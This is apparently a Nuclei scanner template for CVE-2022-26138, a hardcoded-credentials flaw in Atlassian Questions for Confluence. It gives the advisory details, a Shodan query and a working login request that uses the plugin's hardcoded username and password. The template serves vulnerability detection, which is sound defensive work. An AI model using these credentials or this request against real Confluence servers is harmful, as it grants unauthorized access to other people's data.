53 lines
2.4 KiB
YAML
53 lines
2.4 KiB
YAML
id: CVE-2022-26138
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info:
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name: Atlassian Questions For Confluence - Hardcoded Credentials
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author: HTTPVoid
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severity: critical
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description: |
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Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group.
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impact: |
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Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Confluence instance.
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remediation: |
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Update the Atlassian Questions For Confluence plugin to the latest version, which removes the hardcoded credentials.
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reference:
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- https://twitter.com/fluepke/status/1549892089181257729
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- https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html
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- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html
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- https://nvd.nist.gov/vuln/detail/CVE-2022-26138
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- https://jira.atlassian.com/browse/CONFSERVER-79483
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-26138
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cwe-id: CWE-798
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epss-score: 0.97208
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epss-percentile: 0.99826
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cpe: cpe:2.3:a:atlassian:questions_for_confluence:2.7.34:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: atlassian
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product: questions_for_confluence
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shodan-query: http.component:"Atlassian Confluence"
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tags: cve2022,cve,confluence,atlassian,default-login,kev
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http:
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- raw:
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- |
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POST /dologin.action HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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os_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action
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payloads:
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os_username:
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- disabledsystemuser
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os_password:
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- disabled1system1user6708
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attack: pitchfork
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matchers:
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- type: dsl
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dsl:
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- 'location == "/httpvoid.action"'
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# digest: 4a0a00473045022100863824d1fc782c5fabc3dea7419d4b3c5b4bcaf83ab4b9fe66594b79ea2209a802204a42e7087082e472a4cc05bab3a0a30dbf881746e790b03855537d4c264dc1aa:922c64590222798bb761d5b6d8e72950 |